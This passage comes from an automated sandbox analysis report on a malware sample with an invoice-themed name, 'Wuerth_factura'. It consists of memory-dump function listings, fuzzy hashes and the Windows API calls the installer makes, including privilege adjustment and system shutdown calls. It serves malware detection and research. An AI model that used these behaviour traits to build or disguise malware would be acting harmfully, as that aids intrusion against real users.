Opcode Fuzzy Hash: 82194ab4359db159d880bfc9a8e563b2981a00e236f3288cedde674e4f0eb244
Instruction Fuzzy Hash: 45F0C2313103104B8B256B2E9854A2AB6DEEFCAB61319846BE909C7361EF21CC0383A1

Function 39DB4C98 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0373496f3cb8bfe830277995441046e4dc821dd9f9340a7e593fff240a83ea1f
Instruction ID: b89b7104ab8234ca6029c07fa91c5ade6e568fed1a4a715ad7f52f37a40b57b1
Opcode Fuzzy Hash: 0373496f3cb8bfe830277995441046e4dc821dd9f9340a7e593fff240a83ea1f
Instruction Fuzzy Hash: 0EF09036B046109FCB068B29E416AAEBBB5DFC566171540ABE109CBB61DB36DC02CB90

Function 3A68EB58 Relevance: .0, Instructions: 37COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2fea4afce6f398c6f835bf117b43b46991fe98d3ea16a51ad0eb9df77c43e0f7
Instruction ID: 5ed36a19899e764286e757ff8acb4d621b7e1ce6e893b0f9099464a5788354a6
Opcode Fuzzy Hash: 2fea4afce6f398c6f835bf117b43b46991fe98d3ea16a51ad0eb9df77c43e0f7
Instruction Fuzzy Hash: 4D01FBB4E003199FDF44DFB9CA006EEBBF9BF48200F008166D519E7250E73999018B91

Function 39DB4990 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 053d147bb55b48bf6ccf36871faa2912ceb1b2cfaa4028eb3e0669c6c9d67aab
Instruction ID: 5bcbe3dcc8806b36df2ca5dd620b2daedfaeafe5edf4fbf6568216fed542e655
Opcode Fuzzy Hash: 053d147bb55b48bf6ccf36871faa2912ceb1b2cfaa4028eb3e0669c6c9d67aab
Instruction Fuzzy Hash: F3F03A35301205DFCB04CF5AC484C5ABBEAFF887207548069E6098B730CB71AC51CB80

Function 3A68E6A0 Relevance: .0, Instructions: 33COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300940371.000000003A680000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a680000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2bf6d4f08aa69fb6f2c3a085abf9ca43b2d9553e43380572356652673f8b7ac5
Instruction ID: 606567a9995df6e6c5fc89e37057318d73fe46918f466422e9e9ee92cc486e55
Opcode Fuzzy Hash: 2bf6d4f08aa69fb6f2c3a085abf9ca43b2d9553e43380572356652673f8b7ac5
Instruction Fuzzy Hash: BBF08C343006148FE7089F7ADD5892A77AEEFC5B5071580A9F506CB7A1DE71DC41C791

Function 000D28B0 Relevance: .0, Instructions: 19COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0951b6c508189f6059f4c1545763ce0500210b731280a254e9e2eb9f600c906
Instruction ID: abe0d539bdd350f02f572a56405242d6caece130a91899ba2cdc6af8340b7287
Opcode Fuzzy Hash: d0951b6c508189f6059f4c1545763ce0500210b731280a254e9e2eb9f600c906
Instruction Fuzzy Hash: DFD05B31D2022B57CB01E7A5DC044EFF738EED6261B544666D51437154FB702659C6E1

Function 000D28AB Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 93f8a4d46ec031a0d601f48acd3964d769698de93c06282d948b5310bceb5da5
Instruction ID: e7b851c8d60317a7d073b4ff84360c82e674e0948b102b4d6227204b1f1effa4
Opcode Fuzzy Hash: 93f8a4d46ec031a0d601f48acd3964d769698de93c06282d948b5310bceb5da5
Instruction Fuzzy Hash: 98D01235D6062A868B01EBA1AD100EDB374AE95221B548667D53436164EB30165DC6A0

Function 39DB4A40 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3300548348.0000000039DB0000.00000040.00000800.00020000.00000000.sdmp, Offset: 39DB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_39db0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 04b6d250f1e79ae03b32e659be9eab5698927a40a509237884b84b8be1057703
Instruction ID: c2f2186125d4d78bd3756f9185cf68416382c99e621db511a646db11c63a66a4
Opcode Fuzzy Hash: 04b6d250f1e79ae03b32e659be9eab5698927a40a509237884b84b8be1057703
Instruction Fuzzy Hash: ACD0C736305154BB4B451A8994048AE7F5EDBCD7717148026F91A93300CE714D1297D5

Function 000DD6D4 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 83c042b556678d76dab8ed6e9b80efe519b154251197032efceb196ade9546f3
Instruction ID: e1d6aaad97cce0bdd4825fc076271538688165d7740df215fdafafce5b9b69de
Opcode Fuzzy Hash: 83c042b556678d76dab8ed6e9b80efe519b154251197032efceb196ade9546f3
Instruction Fuzzy Hash: FBD0E234E00108CBCB20DFB8E8848DCBB70EF48321B20502BD925A3620C6305950CF11

Function 000DAFAD Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1631f756e0f79e4aeae3d865e0235d3ced09e0b9bde38307b1d6f000c859879b
Instruction ID: ac3eacb7c8d8f0a4ede675a5c42f927971ab596706c5bb73d2a8530ebe803afd
Opcode Fuzzy Hash: 1631f756e0f79e4aeae3d865e0235d3ced09e0b9bde38307b1d6f000c859879b
Instruction Fuzzy Hash: 4DD0673AB40018AFCB049F98EC808DDFB76FB98221B048116F915A3261C6319965DB50

Function 000D6748 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.3272019104.00000000000D0000.00000040.00000800.00020000.00000000.sdmp, Offset: 000D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_d0000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ec8e080cd62769f6da6d335cc46505b3cafddda95e7e8095c24ae90dfb622bc2
Instruction ID: c99c0e23a279175b5215bb737da98f5aebbb5c5a79d513da8db686972051154b
Opcode Fuzzy Hash: ec8e080cd62769f6da6d335cc46505b3cafddda95e7e8095c24ae90dfb622bc2
Instruction Fuzzy Hash: 0BC0127004430C4EC509EBA5FE45956B76EAB803047408560A0460A97EDFB8598E8B90

Non-executed Functions

Function 004032B2 Relevance: 72.1, APIs: 31, Strings: 10, Instructions: 386stringfilecomCOMMON

Download Yara Rule

APIs

Part of subcall function 00406407: GetModuleHandleA.KERNEL32(?,00000020,?,004032E6,00000009), ref: 00406419
Part of subcall function 00406407: GetProcAddress.KERNEL32(00000000,?), ref: 00406434

lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 004032CF
#17.COMCTL32(00000007,00000009), ref: 004032F2
OleInitialize.OLE32(00000000), ref: 004032F9
SHGetFileInfoW.SHELL32(0079FEE0,00000000,?,000002B4,00000000), ref: 00403315
GetCommandLineW.KERNEL32(007A7A20,NSIS Error), ref: 0040332A
GetModuleHandleW.KERNEL32(00000000,007B3000,00000000), ref: 0040333D
CharNextW.USER32(00000000,007B3000,00000020), ref: 00403364
GetTempPathW.KERNEL32(00000400,007B5800), ref: 0040349E
GetWindowsDirectoryW.KERNEL32(007B5800,000003FB,?,007B3000,00000000,?,?,000002B4), ref: 004034AF
lstrcatW.KERNEL32(007B5800,\Temp,?,007B3000,00000000,?,?,000002B4), ref: 004034BB
GetTempPathW.KERNEL32(000003FC,007B5800,007B5800,\Temp,?,007B3000,00000000,?,?,000002B4), ref: 004034CF
lstrcatW.KERNEL32(007B5800,Low,?,007B3000,00000000,?,?,000002B4), ref: 004034D7
SetEnvironmentVariableW.KERNEL32(TEMP,007B5800,007B5800,Low,?,007B3000,00000000,?,?,000002B4), ref: 004034E8
SetEnvironmentVariableW.KERNEL32(TMP,007B5800,?,007B3000,00000000,?,?,000002B4), ref: 004034F0
DeleteFileW.KERNEL32(007B5000), ref: 00403504
OleUninitialize.OLE32(?,?,007B3000,00000000,?,?,000002B4), ref: 004035CF
ExitProcess.KERNEL32 ref: 004035F0
lstrcatW.KERNEL32(007B5800,~nsu,007B3000,00000000,?,?,007B3000,00000000,?,?,000002B4), ref: 00403603
lstrcatW.KERNEL32(007B5800,0040A26C,007B5800,~nsu,007B3000,00000000,?,?,007B3000,00000000,?,?,000002B4), ref: 00403612
lstrcatW.KERNEL32(007B5800,.tmp,007B5800,~nsu,007B3000,00000000,?,?,007B3000,00000000,?,?,000002B4), ref: 0040361D
lstrcmpiW.KERNEL32(007B5800,007B4800,007B5800,.tmp,007B5800,~nsu,007B3000,00000000,?,?,007B3000,00000000,?,?,000002B4), ref: 00403629
SetCurrentDirectoryW.KERNEL32(007B5800,007B5800,?,007B3000,00000000,?,?,000002B4), ref: 00403645
DeleteFileW.KERNEL32(0079F6E0,0079F6E0,?,007A9000,?,?,007B3000,00000000,?,?,000002B4), ref: 0040369F
CopyFileW.KERNEL32(007B6800,0079F6E0,00000001,?,007B3000,00000000,?,?,000002B4), ref: 004036B3
CloseHandle.KERNEL32(00000000,0079F6E0,0079F6E0,?,0079F6E0,00000000,?,007B3000,00000000,?,?,000002B4), ref: 004036E0
GetCurrentProcess.KERNEL32(00000028,?,007B3000,00000000,?,?,000002B4), ref: 0040370F
OpenProcessToken.ADVAPI32(00000000,?,?,000002B4), ref: 00403716
LookupPrivilegeValueW.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 0040372B
AdjustTokenPrivileges.ADVAPI32(?,?,?,?,?,00000000,?,00000000,00000000,00000000,?,?,000002B4), ref: 0040374E
ExitWindowsEx.USER32(00000002,80040002), ref: 00403773
ExitProcess.KERNEL32 ref: 00403796

Strings

TEMP, xrefs: 004034E3
NSIS Error, xrefs: 0040331B
\Temp, xrefs: 004034B5
UXTHEME, xrefs: 004032C3, 004032C8, 004032CE
.tmp, xrefs: 00403617
TMP, xrefs: 004034EB
~nsu, xrefs: 004035FB
SeShutdownPrivilege, xrefs: 00403725
Error launching installer, xrefs: 00403586
Low, xrefs: 004034D1

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: lstrcat$FileProcess$ExitHandle$CurrentDeleteDirectoryEnvironmentModulePathTempTokenVariableWindows$AddressAdjustCharCloseCommandCopyInfoInitializeLineLookupNextOpenPrivilegePrivilegesProcUninitializeValuelstrcmpilstrlen
String ID: .tmp$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$~nsu
API String ID: 1173656692-3195845224
Opcode ID: d1c15b0b5e4223fa34f7f7ba08ff56d92cec673f1dd99851e32d1f8933bfc0a8
Instruction ID: 096753e095d2bbb79b27fc57c23e2179518ba171db04f5a483f04b4b09eef593
Opcode Fuzzy Hash: d1c15b0b5e4223fa34f7f7ba08ff56d92cec673f1dd99851e32d1f8933bfc0a8
Instruction Fuzzy Hash: 13C1E4B1600311ABD720AF759D45A3B3AADEF8074AF10443EF581B62D2DB7D8E45872E

Function 00404B08 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 481windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404B20
GetDlgItem.USER32(?,00000408), ref: 00404B2B
GlobalAlloc.KERNEL32(00000040,?), ref: 00404B75
LoadBitmapW.USER32(0000006E), ref: 00404B88
SetWindowLongW.USER32(?,000000FC,00405100), ref: 00404BA1
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404BB5
ImageList_AddMasked.COMCTL32(00000000,00000000,00FF00FF), ref: 00404BC7
SendMessageW.USER32(?,00001109,00000002), ref: 00404BDD
SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404BE9
SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404BFB
DeleteObject.GDI32(00000000), ref: 00404BFE
SendMessageW.USER32(?,00000143,00000000,00000000), ref: 00404C29
SendMessageW.USER32(?,00000151,00000000,00000000), ref: 00404C35
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404CCB
SendMessageW.USER32(?,0000110A,00000003,00000000), ref: 00404CF6
SendMessageW.USER32(?,00001132,00000000,?), ref: 00404D0A
GetWindowLongW.USER32(?,000000F0), ref: 00404D39
SetWindowLongW.USER32(?,000000F0,00000000), ref: 00404D47
ShowWindow.USER32(?,00000005), ref: 00404D58
SendMessageW.USER32(?,00000419,00000000,?), ref: 00404E55
SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404EBA
SendMessageW.USER32(?,00000150,00000000,00000000), ref: 00404ECF
SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404EF3
SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404F13
ImageList_Destroy.COMCTL32(?), ref: 00404F28
GlobalFree.KERNEL32(?), ref: 00404F38
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00404FB1
SendMessageW.USER32(?,00001102,?,?), ref: 0040505A
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00405069
InvalidateRect.USER32(?,00000000,00000001), ref: 00405089
ShowWindow.USER32(?,00000000), ref: 004050D7
GetDlgItem.USER32(?,000003FE), ref: 004050E2
ShowWindow.USER32(00000000), ref: 004050E9

Strings

, xrefs: 004050C1
N, xrefs: 00404D93
M, xrefs: 00404CB2

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 1638840714-813528018
Opcode ID: 5b80583b58295761a18ecd9050159937936e3f86276e924fe9cf57bcb5a1130f
Instruction ID: 0cd49cefa4a501a52bc59e4f925d00b877300575b91fe519bcb2a61a8a5a243c
Opcode Fuzzy Hash: 5b80583b58295761a18ecd9050159937936e3f86276e924fe9cf57bcb5a1130f
Instruction Fuzzy Hash: B5026DB0900209AFEB10DF54DD85AAE7BB5FB85314F10813AF614BA2E1DB789D51CF98

Function 0040581E Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 148filestringCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?), ref: 00405847
lstrcatW.KERNEL32(007A3F28,\*.*,007A3F28,?,?), ref: 0040588F
lstrcatW.KERNEL32(?,0040A014,?,007A3F28,?,?), ref: 004058B2
lstrlenW.KERNEL32(?,?,0040A014,?,007A3F28,?,?), ref: 004058B8
FindFirstFileW.KERNEL32(007A3F28,?,?,?,0040A014,?,007A3F28,?,?), ref: 004058C8
FindNextFileW.KERNEL32(00000000,00000010,000000F2,?,?,?,?,0000002E), ref: 00405968
FindClose.KERNEL32(00000000), ref: 00405977

Strings

(?z, xrefs: 00405877
., xrefs: 004058D9
\*.*, xrefs: 00405889
., xrefs: 004058ED

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: (?z$.$.$\*.*
API String ID: 2035342205-1515725298
Opcode ID: dca0ebf4d9b414580997f391816aa6d065ffa9df71cce47c1cea73e5ba519105
Instruction ID: 5c53005082933f3dff19d1f621f77edce462737186d9f3cfcfb8b04c389e649a
Opcode Fuzzy Hash: dca0ebf4d9b414580997f391816aa6d065ffa9df71cce47c1cea73e5ba519105
Instruction Fuzzy Hash: 0941E671800A04FACB216B618C89BBF7678EF42729F24813BF801751C1D77C4996DEAE

Function 00406370 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,007A4F70,?,0040166E,00000000), ref: 0040637B
FindClose.KERNEL32(00000000,?,0040166E,00000000), ref: 00406387

Strings

pOz, xrefs: 00406371

Memory Dump Source

Source File: 00000004.00000002.3272152138.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.3272138121.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272166357.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272180053.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007CD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.3272284056.00000000007DD000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_Wuerth_factura_4052073226.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID: pOz
API String ID: 2295610775-1820424874
Opcode ID: 86473a827e26f35012b0381fcf693fd2ef81f82e4a2ea800dcb2c6bd3b2c9d2b
Instruction ID: 60bd105d0d63f37bd19194ec34bd88d590bcf70de51275853e72dc5d4e23aedc
Opcode Fuzzy Hash: 86473a827e26f35012b0381fcf693fd2ef81f82e4a2ea800dcb2c6bd3b2c9d2b
Instruction Fuzzy Hash: 85D012715181209FC7001B786E0C84B7B58AF463717264F36F4AAF12E0CB789C628AE8

Function 3A66F120 Relevance: 1.5, Strings: 1, Instructions: 292COMMON

Download Yara Rule

Strings

S7HS7, xrefs: 3A66F1AA

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: S7HS7
API String ID: 0-3471206147
Opcode ID: 0e0ef2222e74a3311409b6a554c4133c700727d261bdde7985db7aa00f9ace04
Instruction ID: dcee8602bc1e4b51aaeabfc31da15a2f01e7789d33dabf91019fb87ce0e8048f
Opcode Fuzzy Hash: 0e0ef2222e74a3311409b6a554c4133c700727d261bdde7985db7aa00f9ace04
Instruction Fuzzy Hash: BFD1B074E01218CFDB54DFA9C994B9DBBB2BF89300F2081A9D409AB365DB359E85CF50

Function 3A660960 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A660D56, 3A660D70

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: f048270f60e3d63b39f7b95ef1b1198c15df8315f821db31eec1a471bfd9855d
Instruction ID: 0faf8333e5701e33efc921e49ed6a463724f7bce1dc168b53d8345b75268affd
Opcode Fuzzy Hash: f048270f60e3d63b39f7b95ef1b1198c15df8315f821db31eec1a471bfd9855d
Instruction Fuzzy Hash: 29D1BF78E00218CFDB14CFA9D990B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A664478 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A66486E, 3A664888

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 8af538de9eff4aff8a9d06cedb6c83a6950c5659f1f13aa7aec0f8b63952848e
Instruction ID: b138319a5c5211f76d4a2e1c9a711406fe417718a799dc48571401fc100ecf8f
Opcode Fuzzy Hash: 8af538de9eff4aff8a9d06cedb6c83a6950c5659f1f13aa7aec0f8b63952848e
Instruction Fuzzy Hash: BBD1B0B8E00218CFDB15DFA9D944B9DBBB2BF89300F1080A9D809AB365DB355E85CF51

Function 3A660040 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A660436, 3A660450

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: b2eb349daee88d27e4c89760e6bbd09530f3e326592f2fbd50187936a9817f18
Instruction ID: 07ff8a35be2cc84a4e3432557fdf4f713f731fc91f79adfbf1e8d97ef09d1c42
Opcode Fuzzy Hash: b2eb349daee88d27e4c89760e6bbd09530f3e326592f2fbd50187936a9817f18
Instruction Fuzzy Hash: 42D1BE78E00218CFDB55CFA9D980B9DBBB2BF89300F1080A9D809AB365DB355E85CF51

Function 3A665B48 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A665F3E, 3A665F58

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 1c1e79f70d33e99df3ebbe574decc63de4baa4a1f6140d0c2cfa83625f767f90
Instruction ID: 93bc415ecd5b1ac9f30f4b4461f9b96ee01c69d1996391be92853381d63be6b9
Opcode Fuzzy Hash: 1c1e79f70d33e99df3ebbe574decc63de4baa4a1f6140d0c2cfa83625f767f90
Instruction Fuzzy Hash: D2D1AF78E00218CFDB55CFA9D990B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A663B58 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A663F4E, 3A663F68

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 0c30611a94dcd8865f7c2ae8adfa6a6209a9b05d15b7e62b435a55d8d677f090
Instruction ID: 2434c4b0322e2b2d152bf0868fe1a67f073dba0687f4ad3e4599152a91cb620b
Opcode Fuzzy Hash: 0c30611a94dcd8865f7c2ae8adfa6a6209a9b05d15b7e62b435a55d8d677f090
Instruction Fuzzy Hash: 1BD1BF78E00218CFDB54CFA9D980B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A665228 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A66561E, 3A665638

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 067653cadc640345b2d7ebb9416347a9aa3a04045368bfc143ba8bcf9db27361
Instruction ID: c4728e1653fe022e1c63f6aaa24f0f21df9f960f804ad94be34467b993449a84
Opcode Fuzzy Hash: 067653cadc640345b2d7ebb9416347a9aa3a04045368bfc143ba8bcf9db27361
Instruction Fuzzy Hash: 64D1BF78E00218CFDB54CFA9D990B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A663238 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A66362E, 3A663648

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: 41b85cc79ac2624f5a9861bd37dd4628fe0ee86699575b7a39941fd33224cace
Instruction ID: dba6619465f52743098b50e0dcdd34bbce8b008ecd04945f09a64b532d615b7f
Opcode Fuzzy Hash: 41b85cc79ac2624f5a9861bd37dd4628fe0ee86699575b7a39941fd33224cace
Instruction Fuzzy Hash: EDD1BF78E00218CFDB55CFA9D940B9DBBB2BF89300F1081A9D809AB365DB355E85CF51

Function 3A664908 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A664CFF, 3A664D19

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
Opcode ID: def403354d95f2901c25bd30a8a4a723291fd733d13ac04a90499e4be52ceecc
Instruction ID: c42ad6ee7fff11065dfffa20374dc5271a19fb9b92b714df00e7a7cef7440990
Opcode Fuzzy Hash: def403354d95f2901c25bd30a8a4a723291fd733d13ac04a90499e4be52ceecc
Instruction Fuzzy Hash: F6D1BFB8E00218CFDB55CFA9D944B9DBBB2BF89300F1081A9D809AB365DB355E85CF50

Function 3A661710 Relevance: 1.5, Strings: 1, Instructions: 272COMMON

Download Yara Rule

Strings

,ZR7, xrefs: 3A661B06, 3A661B20

Memory Dump Source

Source File: 00000004.00000002.3300885445.000000003A660000.00000040.00000800.00020000.00000000.sdmp, Offset: 3A660000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_3a660000_Wuerth_factura_4052073226.jbxd

Similarity

API ID:
String ID: ,ZR7
API String ID: 0-2596011557
